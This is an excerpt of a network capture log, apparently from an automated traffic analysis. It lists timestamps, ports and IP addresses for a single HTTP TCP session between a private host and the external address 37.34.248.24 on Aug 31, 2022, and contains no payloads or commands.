Aug 31, 2022 14:28:21.356192112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.356219053 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.356236935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.356278896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.356292009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.357227087 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.357270002 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.357309103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.357311964 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.357348919 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.357358932 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.358551979 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.358614922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.358644009 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.358661890 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.358707905 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.358736038 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.359098911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.359139919 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.359153032 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.360227108 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.360270977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.360310078 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.360318899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.360348940 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.360352993 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.361112118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.361152887 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.361183882 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.361191988 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.361253023 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.361294985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.362030029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.362071991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.362109900 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.362112045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.362154007 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.362158060 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.363323927 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.363392115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.363404989 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.363449097 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.363498926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.363502979 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.364130974 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.364176035 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.364212990 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.364217043 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.364254951 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.364258051 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.365032911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.365077019 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.365103960 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.365118027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.365160942 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.365190029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366239071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366291046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366311073 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.366329908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366369009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366379023 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.366410017 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.366482973 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.367000103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.367047071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.367089987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.367105007 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.368503094 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.368551016 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.368591070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.368588924 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.368629932 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.368640900 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.369236946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.369297981 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.369335890 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.369349957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.369395971 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.369402885 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.370018959 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.370063066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.370105028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.370102882 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.370153904 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.370449066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.371027946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.371071100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.371097088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.371109962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.371148109 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.371153116 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.372070074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.372114897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.372154951 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.372159004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.372194052 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.372201920 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.373277903 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.373320103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.373367071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.373543024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.373584986 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.373609066 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.374787092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.374850988 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.374886990 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.374890089 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.374933004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.374943018 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.375274897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.375319004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.375336885 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.375387907 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.375427008 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.375454903 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.376115084 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.376162052 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.376192093 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.376204014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.376245022 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.376276016 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.377058983 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.377109051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.377151012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.377187967 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.377202034 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.377228022 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.378073931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.378169060 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.379307032 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.379384995 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.379426956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.379443884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.379466057 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.379513979 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.380198002 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.380239010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.380279064 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.380292892 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.380320072 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.380363941 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.381310940 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.381366968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.381421089 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.382038116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.382081032 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.382117987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.382129908 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.382159948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.382200956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.382200956 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.383321047 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.383389950 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.383390903 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.383450985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.383502960 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.384143114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.384186983 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.384224892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.384242058 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.384264946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.384304047 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.384305954 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.384979010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.385061026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.385103941 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.386235952 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.386276960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.386300087 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.386317968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.386408091 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.387038946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.387082100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.387119055 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.387156010 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.387157917 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.387207985 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.388225079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.388267040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.388308048 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.388334990 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.389231920 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.389273882 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.389302015 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.389312029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.389350891 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.389353037 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.390079021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.390120983 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.390144110 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.390157938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.390197039 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.390203953 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.391102076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.391144037 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.391168118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.391184092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.391222000 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.391227961 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.392209053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.392251015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.392277956 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.392292023 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.392330885 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.392334938 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.393230915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.393317938 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.393388987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.393445015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.393488884 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.393497944 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.394249916 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.394293070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.394315004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.394331932 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.394376040 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.395203114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.395251989 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.395291090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.395422935 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.396141052 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.396183968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.396214962 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.396224976 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.396265984 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.396287918 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.396301985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.396356106 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.397147894 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.397201061 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.397257090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.397262096 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.397979975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.398021936 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.398061991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.398061037 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.398101091 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.398117065 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.399019957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.399064064 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.399105072 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.399105072 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.399147034 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.399178982 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.400129080 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.400173903 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.400211096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.400213957 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.400253057 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.400273085 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.401129007 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.401177883 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.401211023 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.401242018 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.401283026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.401297092 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.405183077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410149097 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410195112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410234928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410275936 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410284042 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410307884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410315990 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410356045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410377026 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410397053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410434961 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410458088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410474062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410514116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410548925 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410552979 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410593987 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410619020 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410630941 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410670042 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410693884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410710096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410751104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410768032 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410792112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410830975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410845995 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410872936 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410912991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410929918 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.410949945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.410989046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411001921 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411027908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411067009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411079884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411106110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411144972 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411158085 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411187887 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411231041 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411241055 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411267996 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411305904 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411323071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411367893 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411416054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411421061 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411453962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411493063 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411504030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.411531925 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411571980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.411587954 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.412190914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.412235022 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.412264109 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.412273884 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.412312031 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.412343025 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.413321972 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.413366079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.413398027 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.413407087 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.413464069 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.413474083 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.414063931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.414107084 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.414132118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.414146900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.414205074 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.414206982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.414988995 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.415033102 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.415080070 CEST	80	49721	37.34.248.24	192.168.2.4
